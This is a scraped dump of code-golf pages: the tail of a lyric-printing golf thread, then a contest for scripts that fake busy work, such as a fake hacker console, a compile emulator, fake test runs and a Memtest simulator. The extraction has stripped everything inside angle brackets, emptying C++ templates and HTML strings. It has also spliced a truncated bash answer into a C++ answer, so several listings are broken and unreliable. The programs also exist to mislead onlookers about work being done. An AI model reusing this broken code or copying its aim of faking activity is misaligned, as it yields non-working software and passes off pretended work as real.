goodbye\\n\"+\n \"Never gonna tell a lie and hurt you\\n\\n\";\n String c = \"We've known each other for so long\\n\"+\n \"Your heart's been aching but\\n\"+\n \"You're too shy to say it\\n\"+\n \"Inside we both know what's been going on\\n\"+\n \"We know the game and we're gonna play it\\n\";\n String C = \"(Ooh, give you up)\\n\";\n String d = \"(Ooh)\\n\"+\n \"Never gonna give, never gonna give\\n\"+\n \"(Give you up)\\n\";\n System.out.print(\n \"We're no strangers to love\\n\"+\n \"You know the rules and so do I\\n\"+\n \"A full commitment's what I'm thinking of\\n\"+\n \"You wouldn't get this from any other guy\\n\"+\n b+\n B+\n c+\n \"And if you ask me how I'm feeling\\n\"+\n \"Don't tell me you're too blind to see\\n\\n\"+\n B+\n B+\n C+\n C+\n d+\n d+\n \"\\n\"+\n c+\n \"\\n\"+\n b+\n B+\n B+\n B\n );\n }\n}\n```\n[Answer]\n**JavaScript, 854 chars (added newlines for \"readability\")**\n```\nvar a=\"We're no strangers to love:You know the rules and so do I:A full commitment's what I'm thinking of:You wouldn't get this from any other guy:I just wanna tell you how I'm feeling:Gotta make you understand:Never gonna give you up:Never gonna let you down:Never gonna run around and desert you:Never gonna make you cry:Never gonna say goodbye:Never gonna tell a lie and hurt you:We've known each other for so long:Your heart's been aching but:You're too shy to say it:Inside we both know what's been going on:We know the game and we're gonna play it:And if you ask me how I'm feeling:Don't tell me you're too blind to see:6:7:8:9:10:11:6:7:8:9:10:11:(Ooh, give you up):31:(Ooh):Never gonna give, never gonna give:(Give you up):33:34:35:12:13:14:15:16:4:5:6:7:8:9:10:11:6:7:8:9:10:11:6:7:8:9:10:11\".split(':'),\ni=0,x;\nwhile(x=a[i++])console.log(a[x]||x)\n```\n[Answer]\n**Naive sh/echo - 810 bytes**\n```\n#!/bin/sh\nA=\"ever gonna\"\nD=\" you\"\nB=\"ive$D up\"\nC=\"$A give\"\necho \"We're no strangers to love\nYou know the rules and so do I\nA full commitment's what I'm thinking of\nYou wouldn't get this from any other guy\nI just wanna tell$D how I'm feeling\nGotta make$D understand\"\nf(){\necho \"\nN$C$D up\nN$A let$D down\nN$A run around and desert$D\nN$A make$D cry\nN$A say goodbye\nN$A tell a lie and hurt$D\"\n}\nf\ng(){\necho \"\nWe've known each other for so long\nYour heart's been aching but\nYou're too shy to say it\nInside we both know what's been going on\nWe know the game and we're gonna play it\"\n}\ng\necho \"And if$D ask me how I'm feeling\nDon't tell me$D're too blind to see\"\nf\nf\necho \"\n(Ooh, g$B)\n(Ooh, g$B)\n(Ooh)\nN$C, n$C\n(G$B)\n(Ooh)\nN$C, n$C\n(G$B)\"\ng\necho\necho \"I just wanna tell$D how I'm feeling\nGotta make$D understand\"\nf\nf\nf\n```\n[Answer]\n## JavaScript 789 characters\nMy javascript (prints with \"document.write()\"):\n```\neval('f=\"18927993248999\".replace(/1/g,\"Were no strangers to love4You6тe rules and so do I4A full commitmentжs what Iжm тinking of4You wouldnжt get тis from any oтer guy4ю8/g,\"I just wanna tellйhow Iжm feeling4Gotta makeйunderstand44ю9/g,\"Neverгgiveйupвгletйdownвгrun around and desert youвгmakeйcryвгsay goodbyeвгtell a lie and hurt you44ю2/g,\"Weжve known each oтer for so long4Your heartжs been aching but4Youжre too shy to say it4Inside we boт6whatжs been going on4We6тe game and weжreгplay it4ю7/g,\"And ifйask me how Iжm feeling4Donжt tell me youжre too blind to see44ю3/g,\"ц, gяц, gяц)вгgive, neverгgive4(Gяц)вгgive, neverгgive4(Gя4 ют/g,\"thюя/g,\"iveйup)4юй/g,\" you юв/g,\"4Neverю4/g,\"
юц/g,\"(Oohю6/g,\" know юг/g,\" gonna юж/g,\"\\'\");document.write(f);'.replace(/ю/g,\"\\\").replace(/\"))\n```\nI changes some common words and phrases with cyrilic letters and then changed them back with the replace() function.\nAfter I shorten the lyrics, I shortened my program with the same method, and execute the code with eval().\n[Answer]\n# Ruby, 741 678 657 627 619 bytes\n```\n_=\"12/3400/5/3/200\"\n28.times{|i|_.gsub!'120=34589%#^*&@!/?><[]|{}:;~'[i],\"We? n{strangers] love/>& the rules!s{d{I/A full commitment's}hat:thinking of/>}ouldn't~et this from;nyr heart's been;ching but/>?]{shy] say it/Inside}e both&}hat's been~oing on/We& the~ame!we?|play it/+And if*;sk me@/Don't [ me*?]{blind] see/+8899+(Ooh,~#)/+(Ooh)/N%, n%/(G#)/+^give+ive* up+ever|+ you+ know+ how:feeling+;nd +\\n+'re+You+ other +tell+ to+~onna +o + w+ I'm + a+ g\".split('+')[i]}\nputs _\n```\nThis is an iterative symbol expansion. For each of the 28 characters of the string in the first argument to `gsub!`, all occurrences of that character in `_` are replaced by the appropriate section of the second string (separated by `+` characters).\n[Answer]\n# Golfscript, ~~708~~ ~~702~~ ~~699~~ 691 bytes\n```\n\"Never gonna \":g;\n\"I just wanna tell you how\"\" I'm feeling\":i\"\nGotta make you understand\"++:j;\n{n\"give you up\nlet you down\nrun around and desert you\nmake you cry\nsay goodbye\ntell a lie and hurt you\"n/{n g@}%}:^;\"\nWe've known each other for so long\nYour heart's been aching but\nYou're too shy to say it\nInside we both know what's been going on\nWe know the game and we're gonna play it\n\":_;\n\"We're no strangers to love\nYou know the rules and so do I\nA full commitment's what I'm thinking of\nYou wouldn't get this from any other guy\n\"j\n^\n_\n\"And if you ask me how\"i\"\nDon't tell me you're too blind to see\"\n^^\nn\nn\n\"(Ooh, give you up)\n\".\"(Ooh)\n\"g\"give, never gonna give\n(Give you up)\"++.n\\_\nj\n^^^\n```\n[Answer]\n# [Regenerate](https://github.com/dloscutoff/Esolangs/tree/master/Regenerate), 643 bytes\n```\nWe're no strangers to love\\nYou know the rules and so do I\\nA full commitment's what I'm thinking of\\nYou wouldn't get this from any other guy(\\nI just wanna tell you( how I'm feeling\\n)Gotta make you understand(\\n(\\nN(ever gonna ))g(ive you up)$4let you down$4run around and desert you$4make you cry$4say goodbye$4tell a lie and hurt you))(\\n\\nWe've known each other for so long\\nYour heart's been aching but\\nYou're too shy to s(ay it\\n)Inside we both know what's been going on\\nWe know the game and we're gonna pl$8)And if you ask me$2Don't tell me you're too blind to see$3$3\\n((\\n\\(Ooh), g$6\\))$9($10\\)$4give, n$5give\\n\\(G$6\\))$11$7$1$3$3\n```\n[Try it here!](https://replit.com/@dloscutoff/regenerate) (I recommend either putting the regex in a file or using the `-i` flag and pasting it on stdin.)\n]"}}},{"rowIdx":20,"cells":{"text":{"kind":"string","value":"[Question]\n [\n**Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions.\n \n \nOften, I find myself running a script or query that will take a significant amount of time to run. I can leave that script open and enjoy some guilt-free procrastination.\nNow, what if I could write a script that *seems* to be one of the above scripts to any onlookers, but in looks only? I could put it up on a screen and enjoy *days* of [kitten livestreams](http://new.livestream.com/FosterKittenCam) before anyone realised that all the complicated rigmarole on the screen didn't have anything to do with my actual job.\nYour challenge is to write this script for me (yes, I'm that lazy).\n### A *good* answer will:\n* Make something appear on the screen that looks like a script is doing work. \"Screen\" can be terminal, browser, etc.\n* Be fairly original (yes, we've all seen the neverending progress bar programs)\n* Survive cursory examination by a technical person\n### A *bad* answer will:\n* Get me fired\n* Rehash something we all were forwarded in the 90's\n### A *stellar* answer might:\n* Transcend one of the bad bullet points above ([for instance](http://progressquest.com/))\n* Survive critical examination\n* \\*gasp\\* actually **do** something that's useful or aids in my work shirking\nAcceptance will be based on votes, with bonus from real-life results. I will actually run these scripts (Linux Mint 16) at work when my screen is visible (meetings and the like) to determine detection. If anyone notices that it's faking, you're out of the running. If someone comments on how hard I'm working, +5 bonus upvotes for you.\n\"Useful\" in this case can apply to any coder, but if you're looking for that extra shine on your teacher-bound apple, I'm a full-stack webdev who works in code roughly according to [my tags](https://stackoverflow.com/users/1216976/somekittens-ux2666?tab=tags).\nQuestion partially inspired by [this](http://chat.stackoverflow.com/transcript/17?m=6590072#6590072).\n## Results\nDisappointingly, I didn't get any comments either way on these entries. They're all awesome, so you're all winners in my heart. However, Loktar has the most votes by a long shot, so he gets the +15 from the accept. Congrats!\n \n[Answer]\n# JavaScript\nSo I went a little crazy with this. I did it between breaks from working on my GUI to track IP's using Visual Basic.\nYou can access it by going to the super serious domain I made for it tonight as well so you can look busy anywhere **[Gui Hacker](http://guihacker.com)** and fork and create your own from the following sources\n* [Fiddle](http://jsfiddle.net/G2k3j/)\n* [CodePen](http://codepen.io/loktar00/details/jbCzt/)\n* [github](https://github.com/loktar00/guihacker)\nBasically, if you have this running no one will bother you because they know you are doing some serious stuff. \n```\nvar canvas = document.querySelector(\".hacker-3d-shiz\"),\n ctx = canvas.getContext(\"2d\"),\n canvasBars = document.querySelector(\".bars-and-stuff\"),\n ctxBars = canvasBars.getContext(\"2d\"),\n outputConsole = document.querySelector(\".output-console\");\ncanvas.width = (window.innerWidth / 3) * 2;\ncanvas.height = window.innerHeight / 3;\ncanvasBars.width = window.innerWidth / 3;\ncanvasBars.height = canvas.height;\noutputConsole.style.height = (window.innerHeight / 3) * 2 + 'px';\noutputConsole.style.top = window.innerHeight / 3 + 'px'\n/* Graphics stuff */\nfunction Square(z) {\n this.width = canvas.width / 2;\n this.height = canvas.height;\n z = z || 0;\n this.points = [\n new Point({\n x: (canvas.width / 2) - this.width,\n y: (canvas.height / 2) - this.height,\n z: z\n }),\n new Point({\n x: (canvas.width / 2) + this.width,\n y: (canvas.height / 2) - this.height,\n z: z\n }),\n new Point({\n x: (canvas.width / 2) + this.width,\n y: (canvas.height / 2) + this.height,\n z: z\n }),\n new Point({\n x: (canvas.width / 2) - this.width,\n y: (canvas.height / 2) + this.height,\n z: z\n })\n ];\n this.dist = 0;\n}\nSquare.prototype.update = function() {\n for (var p = 0; p < this.points.length; p++) {\n this.points[p].rotateZ(0.001);\n this.points[p].z -= 3;\n if (this.points[p].z < -300) {\n this.points[p].z = 2700;\n }\n this.points[p].map2D();\n }\n}\nSquare.prototype.render = function() {\n ctx.beginPath();\n ctx.moveTo(this.points[0].xPos, this.points[0].yPos);\n for (var p = 1; p < this.points.length; p++) {\n if (this.points[p].z > -(focal - 50)) {\n ctx.lineTo(this.points[p].xPos, this.points[p].yPos);\n }\n }\n ctx.closePath();\n ctx.stroke();\n this.dist = this.points[this.points.length - 1].z;\n};\nfunction Point(pos) {\n this.x = pos.x - canvas.width / 2 || 0;\n this.y = pos.y - canvas.height / 2 || 0;\n this.z = pos.z || 0;\n this.cX = 0;\n this.cY = 0;\n this.cZ = 0;\n this.xPos = 0;\n this.yPos = 0;\n this.map2D();\n}\nPoint.prototype.rotateZ = function(angleZ) {\n var cosZ = Math.cos(angleZ),\n sinZ = Math.sin(angleZ),\n x1 = this.x * cosZ - this.y * sinZ,\n y1 = this.y * cosZ + this.x * sinZ;\n this.x = x1;\n this.y = y1;\n}\nPoint.prototype.map2D = function() {\n var scaleX = focal / (focal + this.z + this.cZ),\n scaleY = focal / (focal + this.z + this.cZ);\n this.xPos = vpx + (this.cX + this.x) * scaleX;\n this.yPos = vpy + (this.cY + this.y) * scaleY;\n};\n// Init graphics stuff\nvar squares = [],\n focal = canvas.width / 2,\n vpx = canvas.width / 2,\n vpy = canvas.height / 2,\n barVals = [],\n sineVal = 0;\nfor (var i = 0; i < 15; i++) {\n squares.push(new Square(-300 + (i * 200)));\n}\n//ctx.lineWidth = 2;\nctx.strokeStyle = ctxBars.strokeStyle = ctxBars.fillStyle = '#00FF00';\n/* fake console stuff */\nvar commandStart = ['Performing DNS Lookups for',\n 'Searching ',\n 'Analyzing ',\n 'Estimating Approximate Location of ',\n 'Compressing ',\n 'Requesting Authorization From : ',\n 'wget -a -t ',\n 'tar -xzf ',\n 'Entering Location ',\n 'Compilation Started of ',\n 'Downloading '\n ],\n commandParts = ['Data Structure',\n 'http://wwjd.com?au&2',\n 'Texture',\n 'TPS Reports',\n ' .... Searching ... ',\n 'http://zanb.se/?23&88&far=2',\n 'http://ab.ret45-33/?timing=1ww'\n ],\n commandResponses = ['Authorizing ',\n 'Authorized...',\n 'Access Granted..',\n 'Going Deeper....',\n 'Compression Complete.',\n 'Compilation of Data Structures Complete..',\n 'Entering Security Console...',\n 'Encryption Unsuccesful Attempting Retry...',\n 'Waiting for response...',\n '....Searching...',\n 'Calculating Space Requirements '\n ],\n isProcessing = false,\n processTime = 0,\n lastProcess = 0;\nfunction render() {\n ctx.clearRect(0, 0, canvas.width, canvas.height);\n squares.sort(function(a, b) {\n return b.dist - a.dist;\n });\n for (var i = 0, len = squares.length; i < len; i++) {\n squares[i].update();\n squares[i].render();\n }\n ctxBars.clearRect(0, 0, canvasBars.width, canvasBars.height);\n ctxBars.beginPath();\n var y = canvasBars.height / 6;\n ctxBars.moveTo(0, y);\n for (i = 0; i < canvasBars.width; i++) {\n var ran = (Math.random() * 20) - 10;\n if (Math.random() > 0.98) {\n ran = (Math.random() * 50) - 25\n }\n ctxBars.lineTo(i, y + ran);\n }\n ctxBars.stroke();\n for (i = 0; i < canvasBars.width; i += 20) {\n if (!barVals[i]) {\n barVals[i] = {\n val: Math.random() * (canvasBars.height / 2),\n freq: 0.1,\n sineVal: Math.random() * 100\n };\n }\n barVals[i].sineVal += barVals[i].freq;\n barVals[i].val += Math.sin(barVals[i].sineVal * Math.PI / 2) * 5;\n ctxBars.fillRect(i + 5, canvasBars.height, 15, -barVals[i].val);\n }\n requestAnimationFrame(render);\n}\nfunction consoleOutput() {\n var textEl = document.createElement('p');\n if (isProcessing) {\n textEl = document.createElement('span');\n textEl.textContent += Math.random() + \" \";\n if (Date.now() > lastProcess + processTime) {\n isProcessing = false;\n }\n } else {\n var commandType = ~~(Math.random() * 4);\n switch (commandType) {\n case 0:\n textEl.textContent = commandStart[~~(Math.random() * commandStart.length)] + commandParts[~~(Math.random() * commandParts.length)];\n break;\n case 3:\n isProcessing = true;\n processTime = ~~(Math.random() * 5000);\n lastProcess = Date.now();\n default:\n textEl.textContent = commandResponses[~~(Math.random() * commandResponses.length)];\n break;\n }\n }\n outputConsole.scrollTop = outputConsole.scrollHeight;\n outputConsole.appendChild(textEl);\n if (outputConsole.scrollHeight > window.innerHeight) {\n var removeNodes = outputConsole.querySelectorAll('*');\n for (var n = 0; n < ~~(removeNodes.length / 3); n++) {\n outputConsole.removeChild(removeNodes[n]);\n }\n }\n setTimeout(consoleOutput, ~~(Math.random() * 200));\n}\nrender();\nconsoleOutput();\nwindow.addEventListener('resize', function() {\n canvas.width = (window.innerWidth / 3) * 2;\n canvas.height = window.innerHeight / 3;\n canvasBars.width = window.innerWidth / 3;\n canvasBars.height = canvas.height;\n outputConsole.style.height = (window.innerHeight / 3) * 2 + 'px';\n outputConsole.style.top = window.innerHeight / 3 + 'px';\n focal = canvas.width / 2;\n vpx = canvas.width / 2;\n vpy = canvas.height / 2;\n ctx.strokeStyle = ctxBars.strokeStyle = ctxBars.fillStyle = '#00FF00';\n});\n```\n```\n@font-face {\n font-family: 'Source Code Pro';\n font-style: normal;\n font-weight: 400;\n src: local('Source Code Pro'), local('SourceCodePro-Regular'), url(http://themes.googleusercontent.com/static/fonts/sourcecodepro/v4/mrl8jkM18OlOQN8JLgasDxM0YzuT7MdOe03otPbuUS0.woff) format('woff');\n}\nbody {\n font-family: 'Source Code Pro';\n background: #000;\n color: #00FF00;\n margin: 0;\n font-size: 13px;\n}\ncanvas {\n position: absolute;\n top: 0;\n left: 0;\n}\n.bars-and-stuff {\n left: 66.6%;\n}\n.output-console {\n position: fixed;\n overflow: hidden;\n}\np {\n margin: 0\n}\n```\n```\n\n\n
\n```\n[Answer]\n# Bash / coreutils\nIntroducing the first ever... **compilation emulator**. With this program, you can have [epic office chair sword battles](http://xkcd.com/303/) any time you like, without even writing any code!\n```\n#!/bin/bash\ncollect()\n{\n while read line;do\n if [ -d \"$line\" ];then\n (for i in \"$line\"/*;do echo $i;done)|sort -R|collect\n echo $line\n elif [[ \"$line\" == *\".h\" ]];then\n echo $line\n fi\n done\n}\nsse=\"$(awk '/flags/{print;exit}' numNeurons = { 500, 500, 2000, 10 };\nstd::vector numMaps = { 1, 1, 1, 1 };\nConvolutionalNeuralNetwork neuralNetwork(numNeurons, numMaps, numNeurons, \n std::vector>(), std::vector>());\n```\nNow that we have a network with 300 neurons and 1,250,000 synapses, lets save it to a file to make sure we don't lose any progress we make with the network.\n```\nneuralNetwork.SaveToFile(\"test2.cnn\");\n```\nThat generated a 68MB text file and more than a few hours of relaxed work. Now, let's have some fun doing things with it! I'll create a random input and start to discriminate it.\n```\nstd::vector> input;\nfor (int i = 0; i < 2; ++i)\n input.push_back(std::vector{});\nfor (int i = 0; i < 2; ++i)\n for (int j = 0; j < 3; ++j)\n input[i].push_back(rand() % 100);\nneuralNetwork.SetInput(input);\n```\nThat was a pretty small input for an image, but we're only proving the network can do something. Next step is to discriminate with it!\n```\nLayer output = neuralNetwork.Discriminate();\n```\nThis hasn't even finished yet for me, and it's been running for over 2 days! Then once we get that output, let's run it through again in reverse just for fun.\n```\nLayer generatedOutput = neuralNetwork.Generate(output);\n```\nThis is all just to prove that the API works, no plans for it yet. This step hasn't been run for me yet, and I've been waiting a while. Good 2+ days burned, and that is a rough estimate off my current testing. This is pretty complicated, and you'll work hard for a day or two making it, but after that you may never have to work again!\nNote: If you never, ever wanna work again, try to train the network\n```\nneuralNetwork.LearnCurrentInput();\n```\nI don't even have the time to waste for this one!\nIf you want to show off all the data that's happening, add some calls in the functions just to display what's happening\nNew constructor\n```\nConvolutionalNeuralNetwork::ConvolutionalNeuralNetwork(std::vector neuronCountPerLayer, std::vector featureMapsPerLayer, std::vector featureMapDimensions, std::vector> featureMapConnections, std::vector> featureMapStartIndex)\n{\nstd::map> childrenOf;\nfor (unsigned int i = 0; i < neuronCountPerLayer.size() - 1; ++i)\n{\n Layer currentLayer;\n for (int j = 0; j < neuronCountPerLayer[i]; ++j)\n {\n std::vector parentOf;\n if (featureMapsPerLayer[i] == 1)\n {\n for (int n = 0; n < neuronCountPerLayer[i + 1]; ++n)\n {\n std::cout << \"Adding new synapse, data: \" << std::endl;\n SimpleNeuron current = SimpleNeuron(i + 1, j + 1);\n SimpleNeuron destination = SimpleNeuron(i + 2, n + 1);\n std::cout << \"Origin: \" << i + 1 << \", \" << j + 1 << \"; Destination: \" << i + 2 << \", \" << n + 1 << std::endl;\n Synapse currentParentSynapse = Synapse(current, current);\n Synapse currentChildSynapse = Synapse(destination, destination);\n currentChildSynapse.SetWeightDiscriminate(currentParentSynapse.GetWeightDiscriminate());\n currentChildSynapse.SetWeightGenerative(currentParentSynapse.GetWeightGenerative());\n std::cout << \"Weights: Discriminative: \" << currentChildSynapse.GetWeightDiscriminate() << \"; Generative: \" << currentChildSynapse.GetWeightGenerative() << std::endl;\n parentOf.push_back(currentParentSynapse);\n if (childrenOf.find(destination) != childrenOf.end())\n childrenOf.at(destination).push_back(currentChildSynapse);\n else\n childrenOf.insert(std::pair>(destination,\n std::vector{ currentChildSynapse }));\n }\n }\n else\n {\n int featureMapsUp = featureMapsPerLayer[i + 1];\n int inFeatureMap = featureMapsPerLayer[i] / j;\n int connections = featureMapConnections[i][inFeatureMap];\n int startIndex = (neuronCountPerLayer[i + 1] / featureMapsUp) * featureMapStartIndex[i][inFeatureMap];\n int destinationIndex = startIndex + (neuronCountPerLayer[i + 1] / featureMapsUp) * connections;\n for (int n = startIndex; n < destinationIndex; ++n)\n {\n SimpleNeuron current = SimpleNeuron(i + 1, j + 1);\n SimpleNeuron destination = SimpleNeuron(i + 2, n + 1);\n std::cout << \"Origin: \" << i + 1 << \", \" << j + 1 << \"; Destination: \" << i + 2 << \", \" << n + 1 << std::endl;\n Synapse currentParentSynapse = Synapse(current, current);\n Synapse currentChildSynapse = Synapse(destination, destination);\n currentChildSynapse.SetWeightDiscriminate(currentParentSynapse.GetWeightDiscriminate());\n currentChildSynapse.SetWeightGenerative(currentParentSynapse.GetWeightGenerative());\n std::cout << \"Weights: Discriminative: \" << currentChildSynapse.GetWeightDiscriminate() << \"; Generative: \" << currentChildSynapse.GetWeightGenerative() << std::endl;\n parentOf.push_back(currentParentSynapse);\n if (childrenOf.find(destination) != childrenOf.end())\n childrenOf.at(destination).push_back(currentChildSynapse);\n else\n childrenOf.insert(std::pair>(destination,\n std::vector{ currentChildSynapse }));\n }\n }\n std::cout << \"Adding neuron\" << std::endl << std::endl;\n if (childrenOf.find(SimpleNeuron(i + 1, j + 1)) != childrenOf.end())\n currentLayer.AddNeuron(Neuron(parentOf, childrenOf.at(SimpleNeuron(i + 1, j + 1))));\n else\n currentLayer.AddNeuron(Neuron(parentOf, std::vector{}));\n }\n std::cout << \"Adding layer\" << std::endl << std::endl << std::endl;\n AddLayer(currentLayer);\n}\nLayer output;\nstd::cout << \"Adding final layer\" << std::endl;\nfor (int i = 0; i < neuronCountPerLayer[neuronCountPerLayer.size() - 1]; ++i)\n output.AddNeuron(Neuron(std::vector(), childrenOf.at(SimpleNeuron(neuronCountPerLayer.size(), i + 1))));\nAddLayer(output);\n}\n```\nNew FireSynapse\n```\nfloat Neuron::FireSynapse()\n{\nfloat sum = 0.0f;\nstd::cout << \"Firing Synapse!\" << std::endl;\nfor (std::vector::iterator it = m_ChildOfSynapses.begin(); it != m_ChildOfSynapses.end(); ++it)\n sum += ((*it).GetWeightDiscriminate() * (*it).GetParent().GetValue());\nstd::cout << \"Total sum: \" << sum << std::endl;\nfloat probability = (1 / (1 + pow(e, -sum)));\nstd::cout << \"Probably of firing: \" << probability << std::endl;\nif (probability > 0.9f)\n return 1.0f;\nelse if (probability < 0.1f)\n return 0.0f;\nelse\n{\n std::cout << \"Using stochastic processing to determine firing\" << std::endl;\n float random = ((rand() % 100) / 100);\n if (random <= probability)\n return 1.0f;\n else\n return 0.0f;\n}\n}\n```\nYou will get plenty of output on your console now.\n[Answer]\n# Python 3\n```\n#!/usr/bin/python3\nimport random\nimport time\nfirst_level_dirs = ['main', 'home', 'usr', 'root', 'html', 'assets', 'files']\ntitle_descs = ['page', 'script', 'interface', 'popup']\nid_names = ['container', 'main', 'textbox', 'popup']\ntag_names = ['div', 'textarea', 'span', 'strong', 'article', 'summary', 'blockquote', 'b']\nautoclosing_tags = ['br', 'input']\ndef random_js_line():\n return random.choice([\n ' $(\"#%s\").html(\"\" + $(\"#%s\").text() + \"\");' % (random.choice(id_names), random.choice(id_names)),\n ' $.get(\"t_%i.txt\", function(resp) {\\n callback(resp);\\n });' % (int(random.random() * 50)),\n ' $(\"%s>%s\").css({width: %i + \"px\", height: %i + \"px\"});' % (random.choice(tag_names), random.choice(tag_names), int(random.random() * 75), int(random.random() * 75)),\n ' for (var i = 0; i < count; i++) {\\n $(\"
\").appendTo(\"#%s\");\\n }' % (random.choice(id_names))\n ])\ndef random_js_lines():\n lines = [random_js_line() for _ in range(int(random.random() * 14) + 1)]\n return '\\n'.join(lines)\ndef random_html_line():\n tag_name = random.choice(tag_names)\n return random.choice([\n ' <%s>id: %i' % (tag_name, int(random.random() * 1000), tag_name),\n ' <%s class=\"%s\">\\n <%s/>\\n ' % (tag_name, random.choice(first_level_dirs), random.choice(autoclosing_tags), tag_name),\n '
' % (random.choice(first_level_dirs))\n ])\ndef random_html_lines():\n lines = [random_html_line() for _ in range(int(random.random() * 9) + 1)]\n return '\\n'.join(lines)\nwhile True:\n print('creating /%s/%i.html' % (random.choice(first_level_dirs), int(random.random() * 1000)))\n time.sleep(random.random())\n lines = [\n '',\n '',\n ' ',\n ' %s #%i' % (random.choice(title_descs), int(random.random() * 100)),\n ' ',\n ' ',\n ' ',\n ' ',\n random_html_lines(),\n ' ',\n ''\n ]\n lines = [single_line for linegroup in lines for single_line in linegroup.split('\\n')]\n for line in lines:\n print(line)\n time.sleep(random.random() / 10)\n print()\n time.sleep(random.random() / 2)\n```\nIt outputs a bunch of lines of fake JS and HTML, with fake \"loading\" times (delays) to make it seem more realistic.\nThis can and will be expanded upon greatly! (the basic program is there; I just have to add more content now)\n---\nHere's a sample \"page\" it generates (this is actually from an old version of the code; I'll update it with the new code when I'm finished):\n```\ncreating /assets/809.html\n\n\n \n script #32\n \n \n \n \n id: 462\n \n \n\n```\n[Answer]\n# Node.js + BDD\nLooks like an endless stream of BDD-style tests running. Nobody can blame you for running tests!\n```\n \"use strict\"\nvar colors = require(\"colors\"),\n features = [\"User\", \"Request\", \"Response\", \"Cache\", \"Preference\", \"Token\", \"Profile\", \"Application\", \"Security\"],\n patterns = [\"Factory\", \"Observer\", \"Manager\", \"Repository\", \"Impl\", \"Dao\", \"Service\", \"Delegate\", \"Activity\"],\n requirements = [\"return HTTP 403 to unauthorized users\",\n \"accept UTF-8 input\",\n \"return HTTP 400 for invalid input\",\n \"correctly escape SQL\",\n \"validate redirects\",\n \"provide online documentation\",\n \"select internationalized strings, based on locale\",\n \"support localized date formats\",\n \"work in IE6\",\n \"pass W3C validation\",\n \"produce valid JSON\",\n \"work with screen readers\",\n \"use HTML5 canvas where available\",\n \"blink\"],\n minTimeout = 100,\n maxTimeout = 1000,\n minRequirements = 2,\n maxRequirements = 6,\n skipThreshold = 0.1,\n failThreshold = 0.2\nfunction randBetween(l, u) {\n return Math.floor(Math.random() * (u - l) + l) \n}\nfunction choose(l) {\n return l[randBetween(0, l.length)]\n}\nfunction timeout() {\n return randBetween(minTimeout, maxTimeout)\n}\nfunction printFeature() {\n console.log(\"\")\n var feature = choose(features) + choose(patterns)\n var article = /^[AEIOU]/.test(feature) ? \"An \" : \"A \"\n console.log(article + feature + \" should\")\n setTimeout(function() {\n var reqs = randBetween(minRequirements, maxRequirements)\n printRequirements(reqs)\n }, timeout())\n}\nfunction printRequirements(i) {\n if (i > 0) {\n var skipFailOrPass = Math.random()\n if (skipFailOrPass < skipThreshold) {\n console.log((\"- \" + choose(requirements) + \" (SKIPPED)\").cyan)\n } else if (skipFailOrPass < failThreshold) {\n console.log((\"x \" + choose(requirements) + \" (FAILED)\").red)\n console.log((\" - Given I am on the \" + choose(features) + \" page\").green)\n console.log((\" - When I click on the \" + choose(features) + \" link\").green)\n console.log((\" x Then the Log Out link should be visible in the top right hand corner\").red)\n } else {\n console.log((\"+ \" + choose(requirements)).green)\n }\n setTimeout(function() {printRequirements(i - 1)}, timeout())\n } else {\n printFeature()\n }\n}\nprintFeature()\n```\n## Update\nIt occurred to me that it would look suspicious if all your tests passed, so I've updated it to include some failing tests - complete with Given-When-Thens.\nAnd yes, I know that all the failures have the same message. You really need to fix that logout link!\n![enter image description here](https://i.stack.imgur.com/CiYE3.png)\n[Answer]\n# C# (Windows)\nI present to you, the brand new **Memtest86 Simulator 2014**! (Because running Memtest86 under Windows makes total sense)\nComplete with working progress bars and pattern indicator!\nThis code extensively uses the Console class, which as far as I know, it's only available on Windows. Also, I couldn't find a way to show the real processor name/frequency and available memory, so those are hardcoded.\nScreenshot:\n![enter image description here](https://i.stack.imgur.com/LV999.png)\n**EDIT**\nTo retrieve the processor information, you can use the Microsoft.Win32 namespace and RegistryKey class.\n```\n // Processor information, add 'using Microsoft.Win32';\nstring processor = \"\";\nRegistryKey processor_name = Registry.LocalMachine.OpenSubKey(@\"Hardware\\Description\\System\\CentralProcessor\\0\", RegistryKeyPermissionCheck.ReadSubTree);\n if (processor_name != null)\n {\n if (processor_name.GetValue(\"ProcessorNameString\") != null)\n {\n processor = (string)processor_name.GetValue(\"ProcessorNameString\");\n }\n }\n```\nCode (ugly, I know):\n```\nusing System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\nusing System.Threading;\nclass MemTestSim\n{\n static void Main(string[] args)\n {\n Random r = new Random();\n int seconds = 0;\n int pass = 0;\n int test = 0;\n int testNumber = 0;\n string[] testNames = { \"Address test, own Adress\", \"Moving inversions, ones & zeros\", \"Moving inversions, 8 bit pattern\" };\n string[] pattern = { \"80808080\", \"7f7f7f7f\", \"40404040\", \"bfbfbfbf\", \"20202020\", \"dfdfdfdf\", \"10101010\", \"efefefef\", \"08080808\", \"f7f7f7f7\", \"8f8f8f8f\" };\n // Trick to stop the console from scrolling\n Console.SetWindowSize(80, 40);\n Console.Title = \"Memtest86+ v2.11\";\n Console.CursorVisible = false;\n // Dark Blue Background Color\n Console.BackgroundColor = ConsoleColor.DarkBlue;\n Console.Clear();\n // Green Title Text\n Console.BackgroundColor = ConsoleColor.DarkGreen;\n Console.ForegroundColor = ConsoleColor.Black;\n Console.Write(\" Memtest86+ v2.11 \");\n // Gray on Blue Text and main window structure\n Console.BackgroundColor = ConsoleColor.DarkBlue;\n Console.ForegroundColor = ConsoleColor.Gray;\n Console.Write(\"| Pass \" + pass + \"%\\n\");\n Console.WriteLine(\"Intel Core i5 2290 MHz | Test \");\n Console.WriteLine(\"L1 Cache: 128K 1058MB/s | Test #\" + testNumber + \" [\" + testNames[0] + \"]\");\n Console.WriteLine(\"L2 Cache: 512K 1112MB/s | Testing: 132K - 8192M 8192M\");\n Console.WriteLine(\"L3 Cache: 3072K 1034MB/s | Pattern: \");\n Console.WriteLine(\"Memory : 8192M |---------------------------------------------------\");\n Console.WriteLine(\"Chipset : Intel i440FX\");\n Console.WriteLine();\n Console.WriteLine();\n Console.WriteLine(\" WallTime Cached RsvdMem MemMap Cache ECC Test Pass Errors ECC Errs\");\n Console.WriteLine(\" --------- ------ ------- -------- ----- --- ---- ---- ------ --------\");\n Console.WriteLine(\" 0:00:26 8192M 64K e820-Std on off Std 0 0\");\n // Bottom Bar\n Console.SetCursorPosition(0, 24);\n Console.BackgroundColor = ConsoleColor.Gray;\n Console.ForegroundColor = ConsoleColor.DarkBlue;\n Console.WriteLine(\"(ESC)Reboot (c)configuration (SP)scroll_lock (CR)scroll_unlock \");\n Console.SetWindowSize(80, 25);\n // Reset text color\n 